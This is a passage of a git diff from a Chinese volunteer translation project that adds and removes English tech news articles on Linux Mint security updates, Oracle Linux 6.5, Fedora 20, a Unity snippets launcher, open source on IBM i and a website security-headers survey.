community.** + +Earlier today I had to grin and bear it as I did just that in an article relaying comments made by Canonical engineer Oliver Grawert in which he branded Linux Mint a “‘vulnerable’ system” due to the way the distro provides security updates to users. + +*Tl;dr: they don’t. (At least, not automatically.)* + +A Canonical developer highlighting security concerns with another distro might sound like pure click bait on paper, but in practice it has important ramifications for users. Security is important, even on a platform that most perceive as invincible. + +> ‘To put my own Top Trumps cards on the table, I was unaware that Mint held back security updates…’ + +Whether you agreed with Oliver’s take on Mint’s approach or not, **his comments were worth relaying**. These weren’t made by someone with an axe to grind.. They were informed by his esteemed position as an Ubuntu engineer. He knows what he’s talking about. Whether correct or misplaced, his comments have resulted in positive discussions about how security update practices should be handled. + +To put my own Top *Trump™* cards on the table, I was unaware that Mint held back security updates for packages like Xorg and the Linux Kernel. So, at the very least, this mini-furore – borne largely out of knee-jerk reaction to the comments rather than their content in intent – has served a purpose. + +### Mint Respond ### + +Linux Mint head-honco Clement Lefebvre has since responded to the remarks, saying that he and his team of developers are “very happy with the filtering system” for security updates in Mint. + +> ” We explained why the Ubuntu update policy was not good enough for us and we consequently developed the update manager to solve that particular problem. +> +> Firefox doesn’t come to you later in Mint than it does in Ubuntu (it’s a level 2 update). +> +> Yes, by default you get updates in Ubuntu for kernels and Xorg and not in Mint. Yes, there’s a very good reason for that.” + +While Lefebvre doesn’t expand on precisely what that “very good reason” is, the general consensus on the web seems to be that Kernel and Xorg updates are held back because of the stability and performance issues that sometimes arise after upgrading. + +Which, in many ways, is understandable. + +Linux Mint don’t prevent their users from installing these updates but they are not enabled by default. + +For further information on Linux Mint’s approach to security refer to the following blog post. + +- [Linux Mint – Security Vs Stability][1] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/11/linux-mint-responds-ubuntu-developers-security-claims + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://segfault.linuxmint.com/2013/11/answering-controversy-stability-vs-security-is-something-you-configure/ \ No newline at end of file diff --git a/sources/LinuxCon/CloudOpen Goose Chase Ends in Tie for Grand Prize.md b/sources/LinuxCon/CloudOpen Goose Chase Ends in Tie for Grand Prize.md deleted file mode 100644 index c76477968f..0000000000 --- a/sources/LinuxCon/CloudOpen Goose Chase Ends in Tie for Grand Prize.md +++ /dev/null @@ -1,39 +0,0 @@ -LinuxCon/CloudOpen Goose Chase Ends in Tie for Grand Prize -================================================================================ -Hundreds of people raced to the finish in the first-ever LinuxCon/CloudOpen Goose Chase. From showing your cowsay to the coffee cup that fuels your Linux work, you - the community - showcased your competitive nature and passion for having fun. The competiton was fierce through the end, which resulted in a tie for Grand Prize for Round Two (round one wrapped up in October, and the [winners were announced][1] at LinuxCon and CloudOpen North America). Because there are two Grand Prize winners, we will not be awarding a First Prize. - -The winners of Round Two are: - -**Grand Prize: $500 Amazon Gift Card** - -**Daniel German**, Canada - -**Joao Paulo Rechi Vita**, Brazil - -![](http://www.linux.com/images/stories/714/jprvita.jpg) - -Joao works for the Nokia Institute of Technology. His latest Linux project was adding BlueZ 5 bluetooth support to PulseAudio on the Linux desktop. He's attended LinuxCon in Japan, North America and Europe this year. - -"I participated in the Goose Chase at LinuxCon North America and found it really fun, so when I was showing the pictures to my girlfriend back home I found the {online} Goose Chase and decided to join it as well. And as I expected, {it} was a lot of fun again, specially because this time some of the missions needed quite a bit of creativity to be accomplished." - -**Second Prize, $50 Amazon Gift Card** - -**Madalina-Ioana Alexe**, Romania - -Madalina-Ioana works for Intel Romania on Tizen and attended the Gluster Community Day this week at LinuxCon Europe. - -"I found it is a fun game, which is still suitable for geeks. It was a nice and funny experience and I found out that there are even more geeks like me." - -Congratulations to all our winners and thank you so much for participating in the Goose Chase! - -![](http://www.linux.com/images/stories/714/mada.jpg) - --------------------------------------------------------------------------------- - -via: http://www.linux.com/news/featured-blogs/185-jennifer-cloer/745263-linuxconcloudopen-goose-chase-ends-in-tie-for-grand-prize/ - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.linux.com/news/featured-blogs/200-libby-clark/737969-announcing-goose-chase-contest-winners-more-prizes-for-linuxcon-europe \ No newline at end of file diff --git a/sources/Mikko Hypponen--Open Source Software Will Make the World More Secure.md b/sources/Mikko Hypponen--Open Source Software Will Make the World More Secure.md deleted file mode 100644 index 4f9a187fc7..0000000000 --- a/sources/Mikko Hypponen--Open Source Software Will Make the World More Secure.md +++ /dev/null @@ -1,35 +0,0 @@ -Mikko Hypponen: Open Source Software Will Make the World More Secure -================================================================================ -Open source software can be one answer to combating the global surveillance of innocent citizens, said security expert Mikko Hypponen in his keynote last week at [LinuxCon and CloudOpen Europe][1] in Edinburgh. - -![](http://www.linux.com/images/stories/41373/Mikko-Hypponen-3.jpg) - -*Mikko Hypponen, chief research officer at F-Secure in Finland, spoke at LinuxCon and CloudOpen Europe 2013 in Edinburgh.* - -Advances in computing and the rise of global networks have made the storage and transmission of data cheap and easy. This has created unparalleled connectivity, progress and innovation, Hypponen said. But it’s also enabled large-scale access to that data as demonstrated by the NSA’s PRISM program, made public this year in a series of top-secret document leaks by former U.S. government contractor Edward Snowden. - -“In the last few years we've realized data is cheap. We never have to delete anything anymore, ever,” said Hypponen, chief research officer at F-Secure in Finland. “This has enabled lots of great things but also global wholesale blanket surveillance.” - -Such access to our personal data, including cell phone records, geolocation, email and search engine queries, may be warranted in some cases, Hypponen said. - -“I do believe some surveillance is OK,” he said. “If there's an investigation into finding a school shooter or drug lord or member of a terrorist cell… we should have the technical means of doing that. But we must first have the suspicion.” - -But collecting the communications and personal data of “everyone” is not only a violation of privacy, but a threat to democracy, Hypponen said. - -“Even if you don't have a problem with our government today, we don't know what the government will be 20 years from now,” he said. ”If they have 20 years of your search data, they'll find something illegal or embarrassing to twist your hand.” - -Though the leaks have caused some IT professionals to question the safety of their data stored with and routed through U.S. service providers, avoiding these companies and services won’t solve the problem, Hypponen said. Neither can each country afford the time and expense of building its own alternatives. - -Working across international boundaries, developers should band together to build secure and reliable software and services that prevent back-door tampering and ensure users’ privacy, Hypponen said. - -“I suggest that open source provides a solution to this problem,” he said. “Then countries don't have to work alone. It will be secure, open and free.” - --------------------------------------------------------------------------------- - -via: http://www.linux.com/news/featured-blogs/200-libby-clark/745585-mikko-hypponen-open-source-software-will-make-the-world-more-secure - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://events.linuxfoundation.org/events/linuxcon-europe \ No newline at end of file diff --git a/sources/Open Source Is Here To Stay On IBM i.md b/sources/Open Source Is Here To Stay On IBM i.md new file mode 100644 index 0000000000..5f989aa98c --- /dev/null +++ b/sources/Open Source Is Here To Stay On IBM i.md @@ -0,0 +1,61 @@ +Open Source Is Here To Stay On IBM i +================================================================================ +For years, open source software has been a bit of a redheaded stepchild in the button-down IBM midrange community. IBM i shops were hesitant to use it, and vendors were afraid to adopt it. But with so much of the computing world now running on open source, the aversion to open source has gradually melted away, and it has steadily crept into use among large corporations, and the IBM i world too. + +It is tough to measure the adoption of open source software, which flows freely across networks by its very nature. Nobody requires you to register to use open source software, and there's no central clearinghouse of information about open source software. + +However, recent surveys and audits point to greater adoption of open source across all industries. Open source software components are widely used in in the financial services industry, according to Julian Brook, associate director at SQS Software, which conducts software quality audits for financial software vendors. "I would say that, arguably, open source is used in every organization that is developing software, especially in the financial services world," Brook [told Out-Law.com recently][1]. + +Governmental agencies lead the way in use of open source software, according to [Black Duck Software][2]'s 2013 Future of Open Source survey. More than 35 percent of government representatives queried for the survey say they use open source, followed by medical (15.2 percent), media (13 percent), financial (8.8 percent), and retail (5.9 percent). You can view more of the survey at [Slideshare][3]. + +Increasingly, users are adopting open source software because they expect higher software quality and security with open source, according to surveys like those from Black Duck. That's very interesting, because for many years, open source software was largely avoided for those two very reasons. + +These are opinion surveys, mind you. They're not necessarily reflections of actual reality. But it is clear than many of the shortcomings that people previously associated with open source software products are disappearing. And slowly but surely, this trend is bleeding over into the competitive world of IBM i software, too. + +### Open Source Impacts On IBM i ### + +The IBM i server is one of the last great bastions of proprietary technology in a world heading in the direction of open source. IBM does not share with the world the guts of the IBM i OS and the System Licensed Internal Code (SLIC) it runs on. You can take what access IBM provides developers to the machine, or you can leave it, but you can't get access to the internals. + +What goes on above the OS and SLIC layers is another matter entirely. We're not seeing a big influx of open source software in the world of ERP and business applications. But in many other software categories, open source options are proliferating. + +One IBM i proponent of open source software is [Raz-Lee][4]. The security software vendor, which relies on the open source [ClamAV][5] offering to power its IBM i-based anti-virus offering, called iSecurity Anti-Virus, says ClamAV had an update for an evolving security threat--the W32/Autorun.worm.aaeh Trojan Horse--months before its competitor had updated the signature library for its IBM i-based antivirus offering. + +"It turns out that ClamAV has been handling this threat . . . as of about eight to nine months ago," Raz-Lee vice president of business development Eli Spitz wrote in an email to IT Jungle last month. "In fact, one of our technicians here at Raz-Lee actually added his own unofficial signature to ClamAV's database before ClamAV included their formal signature for this virus." + +Another IBM i software vendor using open source tools is [Arpeggio Software][6] . The Atlanta, Georgia-based company uses lots of open source components in its various IBM i utilities, which aren't available under an open source license, but which Arpeggio gives away and then charges customers to get technical support, a common approach taken by commercial open source vendors. + +Arpeggio's latest offering, called ARP-DROP, uses the open source OAuth authentication method to help secure communication channels between IBM i servers and [DropBox][7] service running on the Internet. It also uses the OpenSSH encryption technology with ARP-SFTP client for IBM i. Arpeggio's founders (who also founded Trailblazer Systems, now part of [Liaison Technologies][8]) acknowledge that IBM i professionals could adopt the same open source tools to write similar tools. But they argue that Arpeggio does it better, so why not adopt their free tools and save yourself the time? + +In many cases, an IBM i shop's first conscious exposure to open source is the server side scripting language PHP. IBM and [Zend Technology][9] have worked for years to make PHP run well on IBM i, and Zend's entry-level PHP runtime is shipped along with every Power Systems server and IBM i license. + +One of the most popular PHP applications that run on IBM i servers is [SugarCRM][10]. Representatives with the Cupertino, California, company recently said that it has nearly 1,000 customers running the CRM software on IBM i servers. This includes paid enterprise licenses along with free community edition licenses. + +### Fighting Perceptions ### + +Most IBM i shops are big users of IBM i software, whether they know it or not. Some of the biggest, most important IT infrastructure components come from open source, including the Apache Web server, the Linux OS, the Java and PHP programming languages, the MySQL database, and the Eclipse development environment. + +There's no reason not to call open source "commercial grade" anymore, Raz-Lee's Spitz said. "A few weeks ago Sourcefire, the owners of ClamAV, was purchased by [Cisco Systems][11]. That's obviously a 'certification' by a large commercial organization for open source software. So open source anti-virus software seems to be valuable to a multi-national company." + +While open source software is making inroads in the IBM i community, it still has a ways to go to match the momentum that open source enjoys in the IT market as a whole. "It seems that the IBM i community is often less involved with open source and is not exposed to its importance and prevalence in the current computing area," Spitz said. "In many cases, open source is the 'playground' of very large companies who join to create a better arena for us all." + +As the corporations of the world gradually becomes amenable to open source, the IBM i community will have no choice but to follow. + +-------------------------------------------------------------------------------- + +via: http://www.itjungle.com/tfh/tfh120213-story01.html + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.out-law.com/en/articles/2013/september/open-source-code-use-within-financial-services-organisations-visibility-only-50-at-best-says-software-quality-expert/ +[2]:http://www.blackducksoftware.com/ +[3]:http://www.slideshare.net/blackducksoftware/the-2013-future-of-open-source-survey-results +[4]:http://www.razlee.com/ +[5]:http://www.clamav.net/ +[6]:http://www.arpeggiosoftware.com/ +[7]:http://www.dropbox.com/ +[8]:http://www.liaison.com/ +[9]:http://www.zend.com/ +[10]:http://www.sugarcrm.com/ +[11]:http://www.cisco.com/ \ No newline at end of file diff --git a/sources/Oracle Linux 6.5 Arrives with Unbreakable Enterprise Linux Kernel 3.8.md b/sources/Oracle Linux 6.5 Arrives with Unbreakable Enterprise Linux Kernel 3.8.md new file mode 100644 index 0000000000..c3b060f071 --- /dev/null +++ b/sources/Oracle Linux 6.5 Arrives with Unbreakable Enterprise Linux Kernel 3.8.md @@ -0,0 +1,31 @@ +Oracle Linux 6.5 Arrives with Unbreakable Enterprise Linux Kernel 3.8 +================================================================================ +**Oracle has announced a few days ago that its Oracle Linux operating system has reached version 6.5, bringing lots of new features, updated packages and several improvements over previus releases.** + +![](http://i1-news.softpedia-static.com/images/news2/Oracle-Linux-6-5-Arrives-with-Unbreakable-Enterprise-Linux-Kernel-3-8-406093-2.jpg) + +First of all, we should mention that Oracle Linux 6.5 is now powered by three separate kernels, the unbreakable enterprise kernel version 2.6.39-400.211.1.el6uek only for the x86 (32-bit) platform, the unbreakable enterprise kernel version 3.8.13-16.2.1.el6uek for both 64-bit and 32-bit architectures, and the Red Hat compatible kernel 2.6.32-431.el6 for x86 and x86_64. + +Unbreakable Enterprise Kernel Release 3 (UEK R3) introduces major improvements over UEK R2, including integrated DTrace support, device mapper support, Btrfs quota groups, Btrfs send and receive subcommands, support for replacing devices without unmounting in Btrfs, EXT4 quotas, TCP controlled delay management, TCP connection repair, STCP and TCP early retransmit, TCP fast open, and TCP small queue algorithm. + +The loop driver has been update to provide the same I/O functionality as the dm-nfs project, simply by extending the AIO interface to perform direct I/O. Moreover, the secure computing mode feature has been added, and the OpenFabrics Enterprise Distribution (OFED) 2.0 stack supports the following protocols: SRP (SCSI RDMA Protocol), iSER (iSCSI Extensions), RDS (Reliable Datagram Sockets), SDP (Sockets Direct Protocol), EoIB (Ethernet over InfiniBand), IPoIB (IP encapsulation over InfiniBand), and eIPoIB (Ethernet tunneling over InfiniBand). + +The OFED (OpenFabrics Enterprise Distribution) 2.0 stack also supports the following RDS features: AS (Async Send), APM (Automatic Path Migration), QoS (Quality of Service), SRQ (Shared Request Queue), AB (Active Bonding), and NF (Netfilter). + +Last but not least, paravirtualization support has been enabled for Oracle Linux guests on Windows Server 2008 R2 Hyper-V or Windows Server 2008 Hyper-V. + +**Download Oracle Linux 6.5 right now:** + +- [Oracle Enterprise Linux 6.5 (ISO) i386][1][iso] [3 GB] +- [Oracle Enterprise Linux 6.5 (ISO) amd64][2][iso] [3.60 GB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Oracle-Linux-6-5-Arrives-with-Unbreakable-Enterprise-Linux-Kernel-3-8-406093.shtml + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://mirrors.dotsrc.org/oracle-linux/OL6/U5/i386/OracleLinux-R6-U5-Server-i386-dvd.iso +[2]:http://mirrors.dotsrc.org/oracle-linux/OL6/U5/x86_64/OracleLinux-R6-U5-Server-x86_64-dvd.iso \ No newline at end of file diff --git a/sources/Personality Traits of the Best Software Developers.md b/sources/Personality Traits of the Best Software Developers.md deleted file mode 100644 index a253070895..0000000000 --- a/sources/Personality Traits of the Best Software Developers.md +++ /dev/null @@ -1,97 +0,0 @@ -Personality Traits of the Best Software Developers -================================================================================ -I come from the world of corporate software development. It may not be the most glamorous side of software (it’s nowhere near as interesting as [shrinkwrap startups][1] or those fancy-dancy [Web 2.0][2] companies that show up in your browser every time you mistype a domain name), but it’s stable, pays well, and has its own set of challenges that other types of software development know nothing about. - -For example, when was the last time someone working on the next version of Halo spent three weeks trying to gather people from accounting, marketing, product management, and their call center in order to nail down requirements that would likely change in 2 months once they’ve delivered the software? - -Or when was the last time someone at [37Signals][3] sat through back to back weeks of [JAD sessions][4]? - -In this world of corporate development I’ve known a few phenomenal developers. I’m talking about those A people whom you would quit your job for to go start a company. And the the more I looked at what makes them so good, the more I realized they all share a handful of personality traits. Well, not exactly a handful, more like four. - -![](http://softwarebyrob.wpengine.netdna-cdn.com/images/chess_game.jpg) - -### Pessimistic ### - -Admiral Jim Stockdale was the highest ranking US military officer imprisoned in Vietnam. He was held in the “Hanoi Hilton” and repeatedly tortured over 8 years. Stockdale told Jim Collins, author of [Good to Great][5], “You must never confuse faith that you will prevail in the end, which you can never afford to lose, with the discipline to confront the most brutal facts of your current reality, whatever they might be.” - -After his release, Stockdale became the first three-star officer in the history of the navy to wear both aviator wings and the Congressional Medal of Honor. - -Stockdale was a pessimist in the short-term because he faced the brutal facts of his reality, but was an optimist in the long-term because of his confidence that he would prevail in the end. - -No one anticipates a catastrophic system failure by looking on the bright side. The best developers I know are experts at finding points of failure. You’ll often hear them quipping “What could possibly go wrong?” after someone makes a suggestion to handle a critical data transfer via nightly FTP over a dial-up connection. The best developers anticipate headaches that other developers never think of, and do everything within their power to avoid them. - -On the flip side, great developers are optimistic, even downright confident, about their overall success. They know that by being a pessimist in the short-term, their long-term success is ensured. Just like Jim Stockdale, they realize that by confronting the brutal facts of their current reality they will prevail in the end. - -### Angered By Sloppy Code ### - -Paul Graham nailed it when [he said][6] “…people who are great at something are not so much convinced of their own greatness as mystified at why everyone else seems so incompetent.” - -The worst nightmare for a great developer is to see someone else’s software gasping for air while bringing the rest of the system to its knees. It’s downright infuriating. And this isn’t limited to code; it can be bad installation packages, sloppy deployments, or a misspelled column name. - -![](http://softwarebyrob.wpengine.netdna-cdn.com/images/paris_sewers.jpg) - -Due to the life and death nature of their products, NASA designs zero-defect software systems using a process that has nearly eliminated the possibility for human error. They’ve added layer after layer of checks and balances that have resulted from years of finding mistakes and figuring out the best way to eliminate them. NASA is the poster child for discovering the source of a mistake and modifying their process to eliminate the possibility of that mistake ever happening again. And it works. A quote from [this Fast Company article][7] on NASA’s development process says - -“What makes it remarkable is how well the software works. This software never crashes. It never needs to be re-booted. This software is bug-free. It is perfect, as perfect as human beings have achieved. Consider these stats: the last three versions of the program — each 420,000 lines long-had just one error each. The last 11 versions of this software had a total of 17 errors. Commercial programs of equivalent complexity would have 5,000 errors.” - -I’m not saying we have to develop to this standard, but NASA knows how to find and fix bugs, and the way they do it is to find the source of every problem. - -Someone who fixes a problem but doesn’t take the time to find out what caused it is doomed to never become an expert in their field. Experience is not years on the job, it’s learning to recognize a problem before it occurs, which can only be done by knowing what causes it in the first place. - -Developers who don’t take the time to find the source often create sloppy solutions. For hundreds of examples of sloppy solutions visit [The Daily WTF][8]. Here are a few I’ve seen in my career: - -- An assembly is deleted from a server each time it’s rebooted. You could create a custom script to re-copy that assembly to the server after each reboot, or find out why the assembly is being deleted in the first place. -- An image-manipulation script is hogging processor power for minutes at a time when it should run in under 10 seconds. You could make the script run at 2am when no one will notice, or you can take the time to step through the code and figure out where the real problem is. -- A shared XML file is being locked by a process, causing other processes to fail when they try to open it. You could make several copies of the XML file so each process has its own, or you could troubleshoot the file access code to find out why it’s locking the file. -- And on and on… - -### Long Term Life Planners ### - -This one was a little puzzling for the longest time, but I think I’ve finally put it together. - -![](http://softwarebyrob.wpengine.netdna-cdn.com/images/brown_guitar.jpg) - -People who think many years down the road in their personal life have the gift to think down the road during development. Being able to see the impacts of present-day decisions is paramount to building great software. The best developers I know have stable family lives, save for retirement, own their own home, and eat an apple a day (ok, maybe not that last one). People who have spastic home-lives and live paycheck to paycheck can certainly be good developers, but what they lack in life they tend to lack in the office: the ability to be disciplined, and to develop and adhere to a long-term plan. - -### Attention to Detail ### - -I’ve known smart developers who don’t pay attention to detail. The result is misspelled database columns, uncommented code, projects that aren’t checked into source control, software that’s not unit tested, unimplemented features, and so on. All of these can be easily dealt with if you’re building a Google mash-up or a five page website. But in corporate development each of these screw-ups is a death knell. - -So I’ll say it very loud, but I promise I’ll only say it once: - -**I have never, ever, ever seen a great software developer who does not have amazing attention to detail.** - -I worked with a programmer back in school who forced anyone working with him to indent using two spaces instead of tabs. If you gave him code that didn’t use two spaces he would go through it line-by-line and replace your tabs with his spaces. While the value of tabs is not even a question, (I’ve long-chided him for this anal behavior) his attention to such a small detail has served him well in his many years designing chips at Intel. - -### So There You Have It ### - -The next time you’re interviewing a potential developer, determine if she has the four personality traits I’ve listed above. Here are a few methods I’ve found useful: - -- Ask if they’re an optimist or a pessimist -- Ask about a time when they found the source of a problem -- Find out if they save for retirement (you can work this in during discussions of your company’s retirement plan) -- Make an obvious misspelling in a short code sample and ask if they see anything wrong - -We know from [Facts and Fallacies of Software Engineering][9] that the best programmers are up to [28 times better][10] than the worst programmers, making them the best bargains in software. Take these four traits and go find a bargain (or better yet, make yourself into one). - -If you liked this article you’ll also like my article [Timeline and Risk: How to Piss off Your Software Developers][11]. - --------------------------------------------------------------------------------- - -via: http://www.softwarebyrob.com/2006/08/20/personality-traits-of-the-best-software-developers/ - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.joelonsoftware.com/ -[2]:http://www.econsultant.com/web2/ -[3]:http://www.37signals.com/ -[4]:http://expertanswercenter.techtarget.com/eac/knowledgebaseAnswer/0,295199,sid63_gci986072,00.html -[5]:http://www.amazon.com/gp/redirect.html?link_code=ur2&tag=softwarbyrob-20&camp=1789&creative=9325&location=%2Fgp%2Fproduct%2F0060794410%2Fsr%3D8-3%2Fqid%3D1155789849%2Fref%3Dpd_bbs_3%3Fie%3DUTF8 -[6]:http://www.paulgraham.com/gh.html -[7]:http://www.fastcompany.com/online/06/writestuff.html -[8]:http://www.thedailywtf.com/ -[9]:http://www.amazon.com/gp/redirect.html?link_code=ur2&tag=softwarbyrob-20&camp=1789&creative=9325&location=http%3A%2F%2Fwww.amazon.com%2Fgp%2Fproduct%2F0321117425%2Fsr%3D8-1%2Fqid%3D1154642314%2Fref%3Dpd_bbs_1%3Fie%3DUTF8 -[10]:http://safari.oreilly.com/0321117425/ch01lev1sec1 -[11]:http://www.softwarebyrob.com/articles/Timeline_and_Risk_Piss_Off_Your_Software_Developers.aspx diff --git a/sources/Red Hat Fedora 20 Linux--New Networking, ARM Features.md b/sources/Red Hat Fedora 20 Linux--New Networking, ARM Features.md deleted file mode 100644 index ae9d8a407d..0000000000 --- a/sources/Red Hat Fedora 20 Linux--New Networking, ARM Features.md +++ /dev/null @@ -1,36 +0,0 @@ -[being translated by bazz2] -Red Hat Fedora 20 Linux: New Networking, ARM Features -================================================================================ -The latest edition of [Fedora Linux][1], the open source operating system that helps form the basis for [Red Hat][2]'s (RHT) enterprise server platform, is set to debut soon -- though a couple weeks later than initially planned, as bugs have held up the release. Still, it could bring some of this autumn's biggest changes in desktop Linux when it appears in December. - -![](http://thevarguy.com/site-files/thevarguy.com/files/imagecache/medium_img/uploads/2013/11/grayscale.jpg) - -On November 1, the Fedora Project announced that it would push back the release of Fedora 20 by another week. That change came on top of an earlier announcement in late October delaying the release by one week. The [plan now][3] is to have the beta version of the system out on November 12, and a final release on December 17. - -The delays may disappoint Fedora fans, but the developers say the revised schedule will help to smooth out bugs before Fedora 20 goes lives. (That approach, by the way, stands in contrast to the one taken by [Canonical][4]'s [Ubuntu Linux][5] distribution, which sticks hard and fast to pre-determined release dates, a policy that has its own advantages and downsides.) - - And at any rate, Fedora users have a lot to look forward to in the latest and greatest edition of the operating system. For one, the release will have a lighter footprint than its predecessors as a result of the removal of some packages that were previously installed by default, such as syslog and sendmail. - -NetworkManager is also set to gain some useful new features, including support for network bridging and bonding -- both cool things that traditionally required complicated command-line hacking to implement. Now, Fedora will be a more attractive host for complex networking situations, an especially important characteristic for building clouds and software-defined networks. - -And Fedora 20 aims to provide full support for ARM-based devices (specifically, armv7hl hardware), which could give it a leg up in the mobile and emerging-hardware worlds. - -These various changes help to make Fedora 20 one of the most notable desktop Linux distributions of the season -- especially since Ubuntu 13.10, which appeared last month, brought [few updates for the desktop][6]. (It did include [somewhat more for servers and the cloud][7].) - -The enhancements are also significant beyond the Fedora community, which is mostly restricted to more advanced users, since Red Hat uses Fedora as a proving ground for testing features that may eventually become a part of its commercial enterprise operating system, Red Hat Enterprise Linux. So Linux fans can geek out when Fedora 20 goes live (hopefully) in December, and look forward to taking advantage of some of the new features in Red Hat production environments down the road. - --------------------------------------------------------------------------------- - -via: http://thevarguy.com/open-source-application-software-companies/red-hat-fedora-20-linux-new-networking-arm-features - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://fedoraproject.org/ -[2]:http://redhat.com/ -[3]:http://fedoraproject.org/wiki/Releases/20/Schedule -[4]:http://canonical.com/ -[5]:http://ubuntu.com/ -[6]:http://thevarguy.com/ubuntu/canonicals-ubuntu-linux-1310-brings-few-changes-desktop -[7]:http://thevarguy.com/ubuntu/ubuntu-1310-openstack-havana-support-cloud-server-updates diff --git a/sources/Save, Access And Quickly Paste Text Snippets With This Nifty Unity Launcher Tool.md b/sources/Save, Access And Quickly Paste Text Snippets With This Nifty Unity Launcher Tool.md deleted file mode 100644 index e510fc4ec7..0000000000 --- a/sources/Save, Access And Quickly Paste Text Snippets With This Nifty Unity Launcher Tool.md +++ /dev/null @@ -1,69 +0,0 @@ -crowner挖的无底洞,争取早日填上 -Save, Access And Quickly Paste Text Snippets With This Nifty Unity Launcher Tool -================================================================================ -**Repeatedly typing out certain information – like e-mail or home addresses, verbose terminal commands, and well timed quotes from cult TV shows – can be a chore.** - -![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Screen-Shot-2013-10-31-at-13.04.jpg) - -*Snippets – Handy Way to Access Stored Text* - -Thankfully there are tools out there to help. - -*‘Snippets’* is one such utility for Unity. It’s a simple Launcher item that lets you save and store excerpts in a text file, then, when needed, select them from a Unity Quicklist to copy them the clipboard. - -Now before anyone throws their underwear at me in disgust, I’m well aware Snippets is not unique – or the first – in offering this sort of feature. But what it is unique in doing is offering it through a Unity Launcher item. - -Features-wise, the tool is simple enough, offering: - -- Ability to add & access snippets stored in .txt file -- View stored snippets in quicklist -- Click snippets to copy them to clipboard -- Option to add current clipboard item to .txt file - -While it’s not a “live” clipboard manager – it only lists items you specifically add; it does not present a history of your most recent clipboard items – it is still a handy little tool. - -### How to Install Snippets for Unity ### - -To make use of this nifty Snippets launcher item you’ll need to first install the command-line clipboard tool xclip. Hit the button below to get it from the Software Center. - -- [Click to Install XClip in Ubuntu][1] - -Next up, download the following ‘Snippets‘ archive. This contains everything else needed to use the app. - -- [Download ‘Snippets’ Unity Launcher Script][2] - -When the archive has downloaded fully you’ll want to extract it. Enter the resulting folder and hit Ctrl+H to reveal hidden files. Move the folder ‘.snippets-launcher‘ to your Home folder. **The utility won’t work if this step isn’t followed**. - -Next step is to install the launcher item. This is taken care of by a script inside the folder you just moved, but it doesn’t have executable permissions (needed to install it) so we’ll need to first take care of that, too. - -Open a new Terminal window and enter the following commands carefully: - - cd .snippets-launcher/ && chmod +x snippets.sh - - ./snippets.sh - -That’s it; Snippets should now be ready to use. Open the Unity Dash to search for the Snippets item and drag it onto the launcher. - -- Left click on the launcher item opens the text file where you add your snippets -- Right click on the launcher item opens the quick list - -Options in the quicklist: - -- Left click on a snippet to add it to the clipboard -- Left click ‘Date’ to copy the current date -- Click ‘Add Clipboard Content’ to add current item to .txt file -- After adding items to .txt file click ‘Update Launcher’ - -For more information on the lazy-making tool, [head over to the Ubuntu Forums thread][3] where its developer, “Stinkeye”, will be happy to help. - --------------------------------------------------------------------------------- - -via: http://www.omgubuntu.co.uk/2013/10/unity-launcher-clipboard-snippets-item - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:apt://xclip -[2]:https://www.dropbox.com/s/ha6lngizmz78srv/snippets%20by%20stinkeye.tar.gz -[3]:http://ubuntuforums.org/showthread.php?t=2184916 \ No newline at end of file diff --git a/sources/Security Headers on the Top 1,000,000 Websites--November 2013 Report.md b/sources/Security Headers on the Top 1,000,000 Websites--November 2013 Report.md new file mode 100644 index 0000000000..f7e7bd2b7d --- /dev/null +++ b/sources/Security Headers on the Top 1,000,000 Websites--November 2013 Report.md @@ -0,0 +1,88 @@ +Security Headers on the Top 1,000,000 Websites: November 2013 Report +================================================================================ +It has been almost exactly a year since we conducted the first top 1 million security headers report so it is a great time to re-run the analysis and see how well security header adoption is growing. As before, the latest Chrome and Firefox User-Agent strings were used to make requests to the top 1 million sites over both HTTP and HTTPS. Out of the 2,589,918 responses we had over 100,000 distinct security headers and values to analyze. + +Comparing with previous scans, we had 514,288 URLs that matched the first run we did in November 2012 and 1,207,169 URLs that matched from March 2013. This time around we added yet another security header “X-XSS-Protection” due to a request from a commenter on this blog. Unfortunately, we did not store this header in any of the prior scans so we are unable to compare its adoption rate. + +### Changes, Additions and Removals Yearly Review ### + +A total of 7,258 new security headers were added over the course of a year to the 514,288 URLs that existed in both data sets. As before, we see the largest increase in additions to X-Frame-Options and CORS headers. In a not so distant fourth we see Strict-Transport-Security steadily climbing with 538 new sites using the header. Even though X-Content-Security-Policy and X-WebKit-CSP are deprecated, we still see a small increase in their additions. Once again the highest used headers also end up having the highest number of removals with X-Frame-Options being removed from 365 sites over the course of the year. + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/add_change_remove_11.12-11.131.png) + +You may notice that the Content-Security-Policy header is missing from the yearly review, this is because it was not standardized when we first started this analysis. To see the adoption rate of the standardized CSP, we need to look at a comparison of the scan that 